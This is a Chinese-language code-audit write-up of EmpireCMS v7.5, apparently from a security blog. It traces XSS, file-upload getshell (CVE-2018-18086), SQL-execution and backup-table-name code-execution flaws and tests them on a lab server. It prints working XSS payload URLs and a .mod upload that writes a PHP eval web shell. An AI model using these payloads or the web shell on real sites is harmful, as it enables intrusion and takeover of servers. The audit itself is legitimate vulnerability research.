0%

EmpireCMSv7.5代码审计

审计环境

PHP7.0

Apache

PHPSTORM

环境上没遇到啥问题

前台XSS

  • 漏洞分析

    需要开启会员空间

    屏幕截图 2021-03-18 212902

    问题代码在/e/ViewImg/index.html ,Request获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输出。

    image-20210318214012537

    跟进Request

    image-20210318215455754

    通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。

    例如,index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)

    url地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值。

    所以构造payload:url=javascript:alert(/xss/)

  • 漏洞复现

    访问http://172.16.43.200:9093/e/ViewImg/index.html?url=javascript:alert(/xss/),点击图片触发。

    image-20210318220355099

后台文件上传getshell(CVE-2018-18086 )

  • 漏洞分析

    EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.phpLoadInMod函数存在安全漏洞,未对变量$file做任何处理,直接上传,接着就包含该文件。

    屏幕截图 2021-03-17 212415

    对此我们直接全局寻找LoadInMod的调用,在e/admin/ecmsmod.php

    image-20210317220115927

  • 漏洞复现

    屏幕截图 2021-03-17 220503

    新建一个1.mod的文件,内容为

    1
    <?php file_put_contents("../data/getshell.php","<?php @eval(\$_POST[a]); ?>");?>

    上传成功后,即可得到shell

    image-20210317220729395

后台SQL执行getshell

  • 漏洞分析

    漏洞位于e/admin/db/DoSql.php 22行DoExecSql方法

    $query未经过任何处理就执行了

    屏幕截图 2021-03-18 195309

    ClearAddsData方法根据是否开启魔术引号来转义数据,这里我们不用管。跟进RepSqlTbpre方法,只做了前缀替换。

    image-20210318200030207

    继续跟进DoRunQuery方法,替换\r,按;分割语句,然后就执行语句。

    屏幕截图 2021-03-18 200132

  • 漏洞利用

    可以利用SQL语句写入shell,但利用难度很高。

    首先需要开启mysql的secure_file_priv 默认是关闭的,修改my.conf文件, 在[mysqld] 下添加条目: secure_file_priv =,保存之后,然后重启mysql。

    之后需要知道网站的绝对路径

    image-20210318211927366

    image-20210318211959712

如果是站库分离影响实在有限。

后台XSS

  • 漏洞分析

    问题出在e/admin/openpage/AdminPage.php,获取mainfileleftfile变量后,经过hRepPostStr处理后输出到页面

    image-20210319094155021

    屏幕截图 2021-03-19 182718

    跟进hRepPostStr方法

    屏幕截图 2021-03-19 094520

    跟进ehtmlspecialchars,以ENT_QUOTES模式(既转换双引号也转换单引号),转义HTML实体

    屏幕截图 2021-03-19 181416

    跟进CkPostStrChar方法,结尾不能为 \\

    image-20210319181832873

    最后跟进AddAddsData方法,如果没有开启magic_quotes_gpc函数,就使用addslashes对参数中的特殊字符进行转义处理

    image-20210319182058498

  • 漏洞利用

    访问http://172.16.43.200:9093/e/admin/openpage/AdminPage.php?ehash_7NYw5=tJmMRJnmeKBHOPaBU04H&mainfile=javascript:alert(document.cookie)

    image-20210319183728605

后台任意代码执行

  • 漏洞分析

    e/admin/ebak/phome.php接收备份数据库传递的参数,然后传递给Ebak_DoEbak方法中

    image-20210319201938388

    跟进Ebak_DoEbak,数据库表名传递给变量$tablename

    屏幕截图 2021-03-19 202302

    再经过RepPostVar处理,替换特殊字符,转义,防火墙过滤(默认上没有过滤字符)

    image-20210319203747991

    经过字符拼接赋值给$d_table,再拼接进$string最后写入php文件。

    屏幕截图 2021-03-19 204115

  • 漏洞利用

    屏幕截图 2021-03-19 204313

    抓包修改tablename字段

    屏幕截图 2021-03-19 204718

    访问config.php

    image-20210319204854229

参考

https://www.cnblogs.com/LEOGG321/p/13882655.html

-------------本文结束感谢您的阅读-------------